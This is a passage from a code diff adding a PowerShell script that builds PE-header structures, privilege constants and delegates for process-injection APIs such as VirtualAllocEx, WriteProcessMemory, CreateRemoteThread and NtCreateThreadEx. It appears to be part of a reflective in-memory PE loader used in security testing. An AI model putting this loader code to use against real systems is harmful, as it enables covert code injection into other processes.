+ $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
477
+ $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
478
+ $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
479
+ $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
480
+ $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
481
+
482
+ $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
483
+ $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
484
+ $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
485
+ $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
486
+ $e_resField.SetCustomAttribute($AttribBuilder)
487
+
488
+ $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
489
+ $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
490
+
491
+ $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
492
+ $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
493
+ $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
494
+ $e_res2Field.SetCustomAttribute($AttribBuilder)
495
+
496
+ $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
497
+ $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
498
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
499
+
500
+ #Struct IMAGE_SECTION_HEADER
501
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
502
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
503
+
504
+ $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
505
+ $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
506
+ $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
507
+ $nameField.SetCustomAttribute($AttribBuilder)
508
+
509
+ $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
510
+ $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
511
+ $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
512
+ $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
513
+ $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
514
+ $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
515
+ $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
516
+ $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
517
+ $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
518
+ $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
519
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
520
+
521
+ #Struct IMAGE_BASE_RELOCATION
522
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
523
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
524
+ $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
525
+ $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
526
+ $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
527
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
528
+
529
+ #Struct IMAGE_IMPORT_DESCRIPTOR
530
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
531
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
532
+ $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
533
+ $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
534
+ $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
535
+ $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
536
+ $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
537
+ $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
538
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
539
+
540
+ #Struct IMAGE_EXPORT_DIRECTORY
541
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
542
+ $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
543
+ $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
544
+ $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
545
+ $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
546
+ $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
547
+ $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
548
+ $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
549
+ $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
550
+ $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
551
+ $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
552
+ $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
553
+ $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
554
+ $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
555
+ $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
556
+
557
+ #Struct LUID
558
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
559
+ $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
560
+ $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
561
+ $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
562
+ $LUID = $TypeBuilder.CreateType()
563
+ $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
564
+
565
+ #Struct LUID_AND_ATTRIBUTES
566
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
567
+ $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
568
+ $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
569
+ $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
570
+ $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
571
+ $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
572
+
573
+ #Struct TOKEN_PRIVILEGES
574
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
575
+ $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
576
+ $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
577
+ $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
578
+ $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
579
+ $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
580
+
581
+ return $Win32Types
582
+ }
583
+
584
+ Function Get-Win32Constants
585
+ {
586
+ $Win32Constants = New-Object System.Object
587
+
588
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
589
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
590
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
591
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
592
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
593
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
594
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
595
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
596
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
597
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
598
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
599
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
600
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
601
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
602
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
603
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
604
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
605
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
606
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
607
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
608
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
609
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
610
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
611
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
612
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
613
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
614
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
615
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
616
+ $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
617
+
618
+ return $Win32Constants
619
+ }
620
+
621
+ Function Get-Win32Functions
622
+ {
623
+ $Win32Functions = New-Object System.Object
624
+
625
+ $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
626
+ $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
627
+ $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
628
+ $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
629
+
630
+ $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
631
+ $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
632
+ $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
633
+ $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
634
+
635
+ $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
636
+ $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
637
+ $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
638
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
639
+
640
+ $memsetAddr = Get-ProcAddress msvcrt.dll memset
641
+ $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
642
+ $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
643
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
644
+
645
+ $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
646
+ $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
647
+ $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
648
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
649
+
650
+ $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
651
+ $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
652
+ $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
653
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
654
+
655
+ $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
656
+ $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
657
+ $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
658
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
659
+
660
+ $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
661
+ $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
662
+ $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
663
+ $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
664
+
665
+ $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
666
+ $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
667
+ $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
668
+ $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
669
+
670
+ $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
671
+ $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
672
+ $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
673
+ $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
674
+
675
+ $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
676
+ $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
677
+ $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
678
+ $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
679
+
680
+ $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
681
+ $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
682
+ $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
683
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
684
+
685
+ $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
686
+ $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
687
+ $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
688
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
689
+
690
+ $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
691
+ $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
692
+ $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
693
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
694
+
695
+ $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
696
+ $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
697
+ $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
698
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
699
+
700
+ $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
701
+ $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
702
+ $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
703
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
704
+
705
+ $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
706
+ $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
707
+ $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
708
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
709
+
710
+ $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
711
+ $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
712
+ $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
713
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
714
+
715
+ $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
716
+ $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
717
+ $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
718
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
719
+
720
+ $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
721
+ $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
722
+ $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
723
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
724
+
725
+ $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
726
+ $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
727
+ $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
728
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
729
+
730
+ $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
731
+ $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
732
+ $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
733
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
734
+
735
+ $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
736
+ $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
737
+ $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
738
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
739
+
740
+ $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
741
+ $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
742
+ $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
743
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
744
+
745
+ $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
746
+ $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
747
+ $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
748
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
749
+
750
+ $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
751
+ $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
752
+ $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
753
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
754
+
755
+ return $Win32Functions
756
+ }
757
+ #####################################
758
+
759
+
760
+ #####################################
761
+ ########### HELPERS ############
762
+ #####################################
763
+
764
+ #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
765
+ #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
766
+ Function Sub-SignedIntAsUnsigned
767
+ {
768
+ Param(
769
+ [Parameter(Position = 0, Mandatory = $true)]
770
+ [Int64]
771
+ $Value1,
772
+
773
+ [Parameter(Position = 1, Mandatory = $true)]
774
+ [Int64]
775
+ $Value2
776
+ )
777
+
778
+ [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
779
+ [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
780
+ [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
781
+
782
+ if ($Value1Bytes.Count -eq $Value2Bytes.Count)
783
+ {
784
+ $CarryOver = 0
785
+ for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
786
+ {
787
+ $Val = $Value1Bytes[$i] - $CarryOver
788
+ #Sub bytes
789
+ if ($Val -lt $Value2Bytes[$i])
790
+ {
791
+ $Val += 256
792
+ $CarryOver = 1
793
+ }
794
+ else
795
+ {
796
+ $CarryOver = 0
797
+ }
798
+
799
+
800
+ [UInt16]$Sum = $Val - $Value2Bytes[$i]
801
+
802
+ $FinalBytes[$i] = $Sum -band 0x00FF
803
+ }
804
+ }
805
+ else
806
+ {
807
+ Throw "Cannot subtract bytearrays of different sizes"
808
+ }
809
+
810
+ return [BitConverter]::ToInt64($FinalBytes, 0)
811
+ }
812
+
813
+
814
+ Function Add-SignedIntAsUnsigned
815
+ {
816
+ Param(
817
+ [Parameter(Position = 0, Mandatory = $true)]
818
+ [Int64]
819
+ $Value1,
820
+
821
+ [Parameter(Position = 1, Mandatory = $true)]
822
+ [Int64]
823
+ $Value2
824
+ )
825
+
826
+ [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
827
+ [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
828
+ [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
829
+
830
+ if ($Value1Bytes.Count -eq $Value2Bytes.Count)
831
+ {
832
+ $CarryOver = 0
833
+ for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
834
+ {
835
+ #Add bytes
836
+ [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
837
+
838
+ $FinalBytes[$i] = $Sum -band 0x00FF
839
+
840
+ if (($Sum -band 0xFF00) -eq 0x100)
841
+ {
842
+ $CarryOver = 1
843
+ }
844
+ else
845
+ {
846
+ $CarryOver = 0
847
+ }
848
+ }
849
+ }
850
+ else
851
+ {
852
+ Throw "Cannot add bytearrays of different sizes"
853
+ }
854
+
855
+ return [BitConverter]::ToInt64($FinalBytes, 0)
856
+ }
857
+
858
+
859
+ Function Compare-Val1GreaterThanVal2AsUInt
860
+ {
861
+ Param(
862
+ [Parameter(Position = 0, Mandatory = $true)]
863
+ [Int64]
864
+ $Value1,
865
+
866
+ [Parameter(Position = 1, Mandatory = $true)]
867
+ [Int64]
868
+ $Value2
869
+ )
870
+
871
+ [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
872
+ [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
873
+
874
+ if ($Value1Bytes.Count -eq $Value2Bytes.Count)
875
+ {
876
+ for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
877
+ {
878
+ if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
879
+ {
880
+ return $true
881
+ }
882
+ elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
883
+ {
884
+ return $false
885
+ }
886
+ }
887
+ }
888
+ else
889
+ {
890
+ Throw "Cannot compare byte arrays of different size"
891
+ }
892
+
893
+ return $false
894
+ }
895
+
896
+
897
+ Function Convert-UIntToInt
898
+ {
899
+ Param(
900
+ [Parameter(Position = 0, Mandatory = $true)]
901
+ [UInt64]
902
+ $Value
903
+ )
904
+
905
+ [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
906
+ return ([BitConverter]::ToInt64($ValueBytes, 0))
907
+ }
908
+
909
+
910
+ Function Get-Hex
911
+ {
912
+ Param(
913
+ [Parameter(Position = 0, Mandatory = $true)]
914
+ $Value #We will determine the type dynamically
915
+ )
916
+
917
+ $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
918
+ $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.
919
+
920
+ return $Hex
921
+ }
922
+
923
+
924
+ Function Test-MemoryRangeValid
925
+ {
926
+ Param(
927
+ [Parameter(Position = 0, Mandatory = $true)]
928
+ [String]
929
+ $DebugString,
930
+
931
+ [Parameter(Position = 1, Mandatory = $true)]
932
+ [System.Object]
933
+ $PEInfo,
934
+
935
+ [Parameter(Position = 2, Mandatory = $true)]
936
+ [IntPtr]
937
+ $StartAddress,
938
+
939
+ [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
940
+ [IntPtr]
941
+ $EndAddress,
942
+
943
+ [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
944
+ [IntPtr]
945
+ $Size
946
+ )
947
+
948
+ [IntPtr]$FinalEndAddress = [IntPtr]::Zero
949
+ if ($Size)
950
+ {
951
+ [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
952
+ }
953
+ else
954
